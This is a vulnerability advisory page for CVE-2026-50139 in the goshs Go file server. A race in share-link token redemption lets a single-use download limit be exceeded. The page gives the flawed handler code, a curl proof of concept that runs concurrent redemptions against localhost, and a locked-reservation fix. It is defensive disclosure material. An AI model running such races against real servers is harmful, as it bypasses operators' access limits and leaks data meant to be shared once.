CVE-2026-50139: goshs · Share-link ?token=… redemption races past download limit
Affects goshs.de/goshs/v2Source GCVE Database
Not known to be exploited · CVSS 5.9 Medium : upgrade to 2.1.0 when convenient.
Data as of 26 Oct 2026, 14:05 UTC
- EPSS
- 0.2% chance of exploitation in 30 days – higher than 17% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
- Patch
- Available – fixed in 2.1.0
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:NExploitation evidence
t = 0 is the CVE’s publication on cve.org
Disclosed: evidence found.
CVE published 18 Aug 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponised: evidence found.
CISA SSVC: proof of concept public
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors
Timeline
CVE ID reserved
by GitHub, Inc.
, 76 days before disclosure
CVE published
on cve.org
, t = 0
CISA SSVC assessment
proof of concept public
, 24 hours after disclosure
A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), CISA SSVC, the Metasploit, Exploit-DB and nuclei-templates index as of 26 Oct 2026.
What to do
Upgrade goshs.de/goshs/v2 to 2.1.0.
Affected software
| Product | Affected | Fixed in |
|---|---|---|
| Gogoshs.de/goshs/v2 | Affected
| Fixed in
|
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Description
# Share-link `?token=…` redemption races past download limit **Ecosystem:** Go **Package:** `goshs.de/goshs/v2` (`github.com/patrickhener/goshs`) **Affected:** `<= v2.0.9` (every release that shipped the share-link feature) ## Summary `ShareHandler` reads the share token's `DownloadLimit` under `RLock`, releases the lock, serves the file, then re-acquires the lock to increment the counter. Concurrent requests all read the same `Downloaded`/`DownloadLimit` snapshot, all pass the check, and all are served — exceeding the operator's intended cap. ## Details [`httpserver/handler.go:968-1018`](https://github.com/patrickhener/goshs/blob/v2.0.9/httpserver/handler.go#L968-L1018): ```go fs.sharedLinksMu.RLock() entry, ok := fs.SharedLinks[token] fs.sharedLinksMu.RUnlock() // <-- released here if entry.DownloadLimit > 0 || entry.DownloadLimit == -1 { // ...serve file... // <-- whole transfer happens unlocked } fs.sharedLinksMu.Lock() // <-- re-acquired only now current.Downloaded++ if current.Downloaded >= current.DownloadLimit { delete(fs.SharedLinks, token) } fs.sharedLinksMu.Unlock() ``` Between line 978 (`RUnlock`) and line 1008 (`Lock`), any number of goroutines can interleave and each observes the same pre-increment limit. ## Proof of concept ```bash goshs -p 18000 -d /tmp/r -b admin:pw & echo data > /tmp/r/f.txt # operator issues a one-shot share SHARE=$(curl -su admin:pw "http://localhost:18000/f.txt?share&limit=1") TK=$(echo "$SHARE" | sed -n 's/.*token=\([^"]*\)".*/\1/p') # attacker races two redemptions curl -so /dev/null -w "%{http_code}\n" "http://localhost:18000/?token=$TK" & \ curl -so /dev/null -w "%{http_code}\n" "http://localhost:18000/?token=$TK" & \ wait # observed: 200 / 200 (both succeed) -> limit=1 redeemed twice ``` Reproduced 5/5 times in a row on a 2026-era M-series Mac during verification. ## Impact A "single-use" share intended to deliver a one-shot secret can be redeemed N times by N concurrent clients. Combined with any token-leak vector (mail forwarding, browser history, intercepted link, etc.) this multiplies the exfiltration window. ## Suggested fix Reserve under the write lock *before* serving — refund only if the serve fails: ```go fs.sharedLinksMu.Lock() entry, ok := fs.SharedLinks[token] if !ok || time.Now().After(entry.Expires) || (entry.DownloadLimit != -1 && entry.Downloaded >= entry.DownloadLimit) { fs.sharedLinksMu.Unlock(); http.NotFound(w, r); return } entry.Downloaded++ if entry.DownloadLimit != -1 && entry.Downloaded >= entry.DownloadLimit { delete(fs.SharedLinks, token) } else { fs.SharedLinks[token] = entry } fs.sharedLinksMu.Unlock() // ...serve... ``` Add a regression test that races two requests against a `limit=1` token and asserts exactly one `200`. Reporter: Nishant Verma. Reproduced against `goshs v2.0.9` (commit `8fc1e91`) on 2026-05-27.